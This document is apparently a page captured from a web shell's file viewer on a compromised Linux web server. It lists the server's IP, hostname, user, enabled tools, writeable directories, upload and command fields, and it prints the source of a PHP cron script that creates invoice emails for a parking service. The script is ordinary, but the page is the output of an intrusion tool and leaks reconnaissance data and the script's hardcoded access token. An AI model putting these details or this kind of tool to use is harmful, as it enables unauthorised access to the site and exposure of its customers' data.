403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/crons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/crons/createInvoiceMails.php
<?php
if( !isset( $_GET['token'] ) || ( isset( $_GET['token'] ) && $_GET['token'] != "eFD6dx2G4RFBkrYS7Z87" ) ) die();

require_once("../includes/config.inc.php");

// Auf SMTP-Versand umgestellt? Dann erzeugt die Regel-Engine (payment_received) die Rechnungsmails – alter Erzeuger aus.
if ( class_exists( 'mailservice' ) && mailservice::smtpEnabled() ) { echo 'SMTP aktiv – Erzeugung läuft über die Mail-Regeln'; exit; }

global $oData;
global $oPDF;


$arrMails = $oData->rawQuery("
  SELECT
    b.booking_invoice AS invoice_id,
    c.customer_id,
    c.customer_firstname,
    c.customer_lastname,
    IF(c.customer_gender = 2, 'Frau', 'Herr') AS customer_gender,
    b.booking_no,
    i.invoice_no,
    c.customer_email,
    i.invoice_date,
    t.template_content,
    t.template_title,
    t.template_id
  FROM pacim_invoice i
    LEFT JOIN pacim_customer c ON c.customer_id = i.invoice_customer
    LEFT JOIN pacim_payments p ON p.payment_invoice = i.invoice_id
    LEFT JOIN pacim_booking b ON b.booking_invoice = i.invoice_id
    LEFT JOIN pacim_templates t ON t.template_id = 3
  WHERE
    ( ( DATE( i.invoice_date ) = DATE( NOW() ) ) OR ( DATE( p.payment_timestamp ) = DATE( NOW() ) ) )
    AND c.customer_source != 'AIDA' AND TRIM( COALESCE( c.customer_email, '') ) <>''
    AND TRIM( COALESCE(i.invoice_no, '') ) <>''
    AND ( SELECT COUNT( message_id ) FROM pacim_messages WHERE message_template = 3 AND message_customer = c.customer_id ) = 0
  LIMIT 5
");


//die();



if( !empty( $arrMails ) ) {

  foreach($arrMails as $mailKey => $mailTemplate) {


    $mailTemplate = (object) $mailTemplate;

    $createMails[ $mailKey ] = array(
        'message_status' => 0,
        'message_count' => 0,
        'message_template' => $mailTemplate->template_id,
        'message_customer' => $mailTemplate->customer_id,
        'message_invoice' => $mailTemplate->invoice_id,
        'message_booking' => 0,
        'message_sender' => 'info@parken-am-schiff.de',
        'message_receiver' => $mailTemplate->customer_email,
        'message_subject' => str_replace(
            array(
                  '[customer_gender]',
				  '[customer_firstname]',
                  '[customer_lastname]',
                  '[invoice_no]'
            ),
            array(
                  $mailTemplate->customer_gender == 2 ? "geehrte Frau" : "geehrter Herr",
				  $mailTemplate->customer_firstname,
                  $mailTemplate->customer_lastname,
                  $mailTemplate->invoice_no
            ),
            $mailTemplate->template_title
        ),
        'message_content' => str_replace(
            array(
                  '[customer_gender]',
				  '[customer_firstname]',
                  '[customer_lastname]',
                  '[invoice_no]'
            ),
            array(
                  $mailTemplate->customer_gender == 2 ? "geehrte Frau" : "geehrter Herr",
				  $mailTemplate->customer_firstname,
                  $mailTemplate->customer_lastname,
                  $mailTemplate->invoice_no
            ),
            $mailTemplate->template_content
        )
    );

    //print_r($createMails);

    //$oData->where('message_id', $data->message_id);
    $oData->insert('pacim_messages', $createMails[ $mailKey ]);
    $invDatas = $oData->dataSet( $mailTemplate->invoice_id );
    //print_r($invDatas);

    // Rechnung generieren
    $oPDF->createInvoice( $invDatas );


      //open connection
      /*$ch = curl_init(SITE_URL . "/ajax_request.php");
      curl_setopt( $ch, CURLOPT_POST, 1 );
      curl_setopt( $ch, CURLOPT_POSTFIELDS, array('mail_id' => $message['message_id']));
      $result = curl_exec( $ch );
      curl_close($ch);

      $mysql->where('message_id', $message['message_id']);
      $mysql->update('pacim_messages', array('message_status' => 1));*/
  }

  //echo "<pre>";
  //print_r( $createMails );
  //echo "</pre>";


    //echo count($arrMails) . " Mails versendet";
} else {
    echo "keine Mails zu erstellen";
}

//SELECT * FROM `pacim_invoice` WHERE DATE_FORMAT(invoice_datetime, "%Y-%m-%d") > "2018-12-10"

Youez - 2016 - github.com/yon3zu
LinuXploit